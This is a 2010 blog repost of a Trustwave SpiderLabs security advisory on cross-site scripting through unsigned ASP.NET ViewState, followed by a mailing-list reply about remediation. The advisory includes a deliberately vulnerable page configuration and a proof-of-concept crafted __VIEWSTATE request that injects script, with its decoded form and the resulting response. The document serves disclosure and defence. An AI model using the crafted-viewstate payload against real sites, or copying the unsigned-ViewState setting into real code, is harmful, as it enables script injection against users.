

ViewState in .NET Client Control XSS

February 2010

There is a long but good discussion on webappsec about the XSS vulnerability in ViewState of the .NET framework . This is a starting point only ... follow recent comments online. This shall help you to understand the movie.

<http://media.hacking-lab.com/movies/viewstate/>

**Regards
Afames**

=====
Trustwave's SpiderLabs Security Advisory TWSL2010-001:
Multiplatform View State Tampering Vulnerabilities
Trustwave Advisories [TrustwaveAdvisories@trustwave.com]

Published: 2010-02-08 Version: 1.1

SpiderLabs has documented view state tampering vulnerabilities in three products from separate vendors. View states are used by some web application frameworks to store the state of HTML GUI controls. View states are typically stored in hidden client-side input fields, although server-side storage is widely supported.

The affected vendors generally recommend that client-side view states are cryptographically signed and/or encrypted, but specific exploits have not been previously documented.

These vulnerabilities show that unsigned client-side view states will ALWAYS result in a vulnerability in the affected products.

Credit: David Byrne of Trustwave's SpiderLabs

=====

Vendor: Microsoft (<http://www.microsoft.com>)

Product: ASP.Net (<http://www.asp.net>)

Versions affected: .Net 3.5 is confirmed vulnerable; previous versions are likely to be vulnerable as well.

Description:

ASP.Net is a web-application development framework that provides for both user interfaces, and back-end functionality.

The ASP.Net view state is typically stored in a hidden field named "__VIEWSTATE". When a page's view state is not cryptographically signed, many

standard .Net controls are vulnerable to Cross-Site Scripting (XSS) through the view state.

It is well documented that using an unsigned view state is "bad", but most previous advisories focus on vaguely described threats or vulnerabilities introduced by custom use of the view state. To the best of Trustwave's knowledge, this is the first time a proof of concept attack of this nature has been demonstrated against the view state. A vulnerability was alluded to in a 2004 Microsoft article on troubleshooting view state problems [1]. However, other Microsoft documents recommend disabling view state signing "if performance is a key consideration," [2, 3, 4] or for various other reasons [5, 6]. Realistically, unsigned view states should never be used in a production environment.

The following code is vulnerable to a XSS attack against the form control. Note that the "ValidateRequest" setting does not prevent the attack.

```
<%@ Page EnableViewStateMac="False"
    ValidateRequest="True" %>
<html runat="server">
    <form runat="server"/>
</html>
```

If the following request is sent to the server, the response will contain JavaScript that calls an alert box.

```
xss.aspx?__VIEWSTATE=/wEPDwUKLTgzNDA2NzgyMA9kFgJmD2QWAgIBDxY
CHglpbm5lcmh0bWwFHTxzY3JpcHQ%2BYWxlcnQoJ3hzcycpPC9zY3JpcHQ%2
BZGQ=
```

The view state's XML equivalent is below:

```
<?xml version="1.0" encoding="utf-16"?>
<viewstate>
  <Pair>
    <Pair>
      <String>-834067820</String>
      <Pair>
        <ArrayList>
          <Int32>0</Int32>
          <Pair>
            <ArrayList>
              <Int32>1</Int32>
              <Pair>
                <ArrayList>
<IndexedString>innerHTML</IndexedString>
<String>&lt;script&gt;alert('xss')&lt;/script&gt;</String>
                </ArrayList>
              </Pair>
            </ArrayList>
          </Pair>
        </ArrayList>
      </Pair>
    </Pair>
  </Pair>
</viewstate>
```

```
</viewstate>
```

The HTML response is below:

```
<html>
  <form name="ctl01" method="post"
    action="xss.aspx" id="ctl01">
    <div>
      <input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE"
value="/wEPDwUKLTgzNDA2NzgyMA9kFgJmD2QWAgIBDxYCHglpbm5lcmh0b
WwFHTxzY3JpcHQ+YWxlcnQoJ3hzcycpPC9zY3JpcHQ+ZGQ=" />
    </div>
    <script>alert('xss')</script></form>
</html>
```

This example uses the "innerHTML" attribute of the form control, although other attributes in other controls are also vulnerable to similar attacks.

Remediation Steps:

The ASP.Net view state should always be cryptographically signed with a "Message Authentication Code" (MAC). This has been enabled by default since .Net 1.1, but can be disabled using the "EnableViewStateMac" setting. Using the "ViewStateUserKey" setting can also help to mitigate the scope of this vulnerability. [7]

First Response Online

arian.evans@gmail.com; on behalf of; Arian J. Evans [arian.evans@anachronic.com]

Hidden Form Fields and Cookie values are also sometimes vulnerable to these attack techniques.

Encrypting hidden form fields and cookies usually protects them from tampering. Same problem; same solution.

Viewstates typically have the advantage over cookies and hidden FFs, from a security control standpoint, of having native encryption and checksumming facilities provide by the programming environment/framework.

These controls are as easy to turn on as flicking a switch. Super simple remediation. Most frameworks do not offer easy, native controls like this for cookies or hidden FFs.

Would you agree that the issue here is RTFM?

Many developers using Viewstates aren't aware they are using Viewstates. Think "Newbie Visual Studio Jockey" developers. They are using a control in their IDE and have no idea it's passing off stuff in b64 strings to the web-browser/client that can be decoded and/or modified.

The most common scenario where developers disable native Viewstate controls is in multi-webserver deployments when they start load-balancing. The Viewstate keys don't match across servers; the app breaks; the developers Google just enough info to decide to turn off Viewstate encryption/checksums (or the server admin does it).

The fix for Viewstate load balancing issues is also super simple: Share Viewstate MAC/checksum or encryption keys. But it is fairly common not to do this until after a security assessment. Usually for the same reasons I outlined above: they aren't really even sure what Viewstate is doing.

So good work. Nicely written advisories.

Questions:

- 1) Did you find any unpublished new vulns in these specific products?
- 2) Are the core issues "if you turn off your compensating control your vulnerabilities are still vulnerable?"
- 3) Do most vendors enable Viewstate controls by default (like Microsoft does)? If not - I think you should highlight and underscore that. Certainly a default checksum would be smart.